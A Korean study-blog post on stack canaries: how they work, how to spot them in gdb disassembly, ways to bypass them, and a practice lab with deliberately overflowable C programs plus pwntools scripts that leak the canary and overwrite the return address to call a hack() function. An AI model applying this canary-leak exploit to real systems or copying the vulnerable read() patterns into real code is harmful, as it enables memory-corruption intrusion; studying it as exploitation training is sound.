Canary란 무엇인가?
Canary는 BOF를 막기 위한 보호 기법 중에 하나이다. 메모리의 스택에 특정 패턴으로 삽입되는 임의의 값인데, 주로 함수의 리턴 주소와 로컬 변수가 저장된 스택 프레임 사이에 위치한다. BOF가 발생하면 스택에 쓰여진 Canary값을 덮어쓰게 되는데 함수가 종료되기 전에 Canary값이 변하지 않았는지 검사하고 Canary값이 변경되었을 경우에는 프로그램이 변조가 있음을 인식하고 종료한다.
Canary 적용 확인
Canary가 적용되었는지 알 수 있는 방법은 두 가지가 존재한다. 첫 번째로는 checksec 명령어를 통해 알 수 있다.
두 번째로는 gdb를 통해 어셈블리코드로 확인하는 것이다.
1
2
3
4
5
6
|
0x0000000000001189 <+0>: endbr64
0x000000000000118d <+4>: push rbp
0x000000000000118e <+5>: mov rbp,rsp
0x0000000000001191 <+8>: sub rsp,0x20
0x0000000000001195 <+12>: mov rax,QWORD PTR fs:0x28
0x000000000000119e <+21>: mov QWORD PTR [rbp-0x8],rax
|
cs |
5번 째 줄을 보면 기존에 없던 코드가 추가되었다는 것을 알 수 있다. fs는 세그먼트 레지스터의 일종으로 fs:28에 Canary가 저장된다. 그 후에 [rbp-0x8] Canary가 저장되는 것을 알 수 있다.
1
2
3
4
5
6
|
0x00000000000011f9 <+112>: mov rdx,QWORD PTR [rbp-0x8]
0x00000000000011fd <+116>: sub rdx,QWORD PTR fs:0x28
0x0000000000001206 <+125>: je 0x120d <main+132>
0x0000000000001208 <+127>: call 0x1070 <__stack_chk_fail@plt>
0x000000000000120d <+132>: leave
0x000000000000120e <+133>: ret
|
cs |
4번 째 줄을 보면 stack_chk_fail 함수가 작동하는 것을 알 수 있다. 이 함수가 작동하기 위해서는 Canary 값이 변조되지 않았다면 작동하지 않고 변조되었을 때 실행되어 프로그램을 종료한다.
Canary 우회
첫 번째는 canary 값을 무작위로 추측해 맞추는 방법이다. canary는 무작위 값이기 때문에 무작정 시도하면 시간과 연산 자원이 많이 소모되며 특히 서버 환경에서는 시간 제한 등의 방어 기법이 있어 성공 확률이 매우 낮다. 실제 공격에서 거의 사용되지 않는 방식이지만, 이론적으로는 가능한 접근법입니다.
두 번째는 TLS 접근을 하는 것이다. 실행 중에 TLS의 주소를 알고 주소에 대해 읽고 쓰기가 가능하면 TLS에 설정된 Canary 값을 읽거나 임의의 값으로 조작할 수 있다.
세 번째 경우에는 Canary를 leak하는 것이다. 쉽게 말하면 Canary를 읽어서 BOF가 읽어날 때 대입하는 것이다. 그렇게 된다면 Canary 검사를 우회하여 반환 주소를 덮는 것이 가능하다.
Canary Leak
1
2
3
4
5
6
7
8
9
10
11
12
|
//gcc -fstack-protector -o test1 test1.c
#include <stdio.h> #include <string.h>
#include <unistd.h>
int main() {
char buf[8];
read(0, buf, 100);
printf("buf : %s\n", buf);
return 0;
}
|
cs |
이 코드의 취약점을 보면 buf의 크기는 8바이트이지만 read에서 100바이트를 받을 수 있다는 것을 알 수 있다. 이 부분에서 BOF가 발생할 수 있다는 것이므로 read를 이용하여 Canary 값을 Leak해보겠다.
1
2
3
4
5
6
7
8
9
10
11
12
|
0x0000000000001189 <+0>: endbr64
0x000000000000118d <+4>: push rbp
0x000000000000118e <+5>: mov rbp,rsp
0x0000000000001191 <+8>: sub rsp,0x10
0x0000000000001195 <+12>: mov rax,QWORD PTR fs:0x28
0x000000000000119e <+21>: mov QWORD PTR [rbp-0x8],rax
0x00000000000011a2 <+25>: xor eax,eax
0x00000000000011a4 <+27>: lea rax,[rbp-0x10]
0x00000000000011a8 <+31>: mov edx,0x64
0x00000000000011ad <+36>: mov rsi,rax
0x00000000000011b0 <+39>: mov edi,0x0
0x00000000000011b5 <+44>: call 0x1090 <read@plt>
|
cs |
어셈블리어를 보면 [rbp-0x8] 위치에서 Canary가 생성되는 것을 알 수 있고 [rbp-0x10] 위치에 buf의 값을 입력받는 것을 알 수 있다. Canary를 leak하기 위해서는 buf의 값을 덮고 Canary의 1바이트를 덮어야 Canary를 leak할 수 있다. Canary의 1바이트를 덮는 이유는 Canary의 마지막 바이트가 \x00 값이기 때문에 이 값을 덮어야 Canary 값을 leak할 수 있다. Canary를 leak하는 익스코드를 짜보겠다.
1
2
3
4
5
6
7
8
9
|
from pwn import *
p = process("./test1")
payload = b'a' * 0x8 + b'b'
p.send(payload)
p.recvuntil(payload)
cnry = u64(b"\x00" + p.recv(7))
print(hex(cnry))
|
cs |
간단하게 코드를 설명하면 총 9바이트의 payload를 보낸 후에 출력되는 7바이트에 \x00 붙인 후에 unpacking을 한다. 그 값이 Canary 값이다.
값이 무작위로 나오는 것을 알 수 있다. 즉 Canary leak에 성공한 것 같다. gdb.attach를 사용하여 정말 성공했는지 확인 해보겠다.
[rbp-0x8] 위치를 보면 Canary 값이 0x8f51948d22e2200이라는 것을 알 수 있다. 한 번 출력될 때까지 진행해보겠다.
출력결과를 보니 Canary 값이 성공적으로 leak했다는 것을 알 수 있다.
실습
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
//gcc -fstack-protector -o test2 test2.c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void hack(){
puts("You understand Canary!!!");
}
int main() {
char buf[8];
char ex[8];
read(0, buf, 100);
printf("buf : %s\n", buf);
read(0, ex, 100);
printf("ex : %s\n", ex);
return 0;
}
|
cs |
코드를 보면 read 함수 두 개 모두 BOF가 발생한다는 것을 알 수가 있다. 첫 번째 read에서 Canary를 값을 알아낼 수 있고 알아낸 Canary를 사용해서 두 번째 read에서 ret의 주소를 hack으로 바꾸면 내가 원하는 hack함수를 실행시킬 수 있을 것이다. 다음은 gdb를 사용하여 stack의 구조를 살펴보겠다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
0x00000000004011b0 <+0>: endbr64
0x00000000004011b4 <+4>: push rbp
0x00000000004011b5 <+5>: mov rbp,rsp
0x00000000004011b8 <+8>: sub rsp,0x20
0x00000000004011bc <+12>: mov rax,QWORD PTR fs:0x28
0x00000000004011c5 <+21>: mov QWORD PTR [rbp-0x8],rax
0x00000000004011c9 <+25>: xor eax,eax
0x00000000004011cb <+27>: lea rax,[rbp-0x18]
0x00000000004011cf <+31>: mov edx,0x64
0x00000000004011d4 <+36>: mov rsi,rax
0x00000000004011d7 <+39>: mov edi,0x0
0x00000000004011dc <+44>: call 0x4010a0 <read@plt>
0x00000000004011e1 <+49>: lea rax,[rbp-0x18]
0x00000000004011e5 <+53>: mov rsi,rax
0x00000000004011e8 <+56>: lea rax,[rip+0xe2e] # 0x40201d
0x00000000004011ef <+63>: mov rdi,rax
0x00000000004011f2 <+66>: mov eax,0x0
0x00000000004011f7 <+71>: call 0x401090 <printf@plt>
0x00000000004011fc <+76>: lea rax,[rbp-0x10]
0x0000000000401200 <+80>: mov edx,0x64
0x0000000000401205 <+85>: mov rsi,rax
0x0000000000401208 <+88>: mov edi,0x0
0x000000000040120d <+93>: call 0x4010a0 <read@plt>
0x0000000000401212 <+98>: lea rax,[rbp-0x10]
0x0000000000401216 <+102>: mov rsi,rax
0x0000000000401219 <+105>: lea rax,[rip+0xe07] # 0x402027
0x0000000000401220 <+112>: mov rdi,rax
0x0000000000401223 <+115>: mov eax,0x0
0x0000000000401228 <+120>: call 0x401090 <printf@plt>
0x000000000040122d <+125>: mov eax,0x0
0x0000000000401232 <+130>: mov rdx,QWORD PTR [rbp-0x8]
0x0000000000401236 <+134>: sub rdx,QWORD PTR fs:0x28
0x000000000040123f <+143>: je 0x401246 <main+150>
0x0000000000401241 <+145>: call 0x401080 <__stack_chk_fail@plt>
0x0000000000401246 <+150>: leave
0x0000000000401247 <+151>: ret
|
cs |
buf의 위치는 [rbp-0x18]에 존재하고 ex는 [rbp-0x10]에 존재한다는 것을 알 수 있다. 그렇다면 첫 번째 payload를 보낼 때 0x11만큼의 dummy 값을 보내면 Canary 값을 leak할 수 있을 것이다. 두 번째 payload에는 0x8만큼의 dummy 값과 Canary, 0x8의 dummy, hack의 함수를 넣어 보낸다면 쉽게 hack함수를 실행시킬 수 있을 것이다.
익스코드
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
from pwn import *
p = process("./test2")
e = ELF("./test2")
hack = e.symbols['hack']
payload = b'a' * 0x10 + b'b'
p.send(payload)
p.recvuntil(payload)
cnry = u64(b"\x00" + p.recv(7))
print(hex(cnry))
payload = b'a' * 0x8 + p64(cnry) + b'b' * 0x8 + p64(hack)
p.send(payload)
print(p.recvall())
|
cs |
'보안 공부 > [PWNABLE]' 카테고리의 다른 글
[PWNABLE] Stack Buffer Overflow (4) | 2024.10.02 |
---|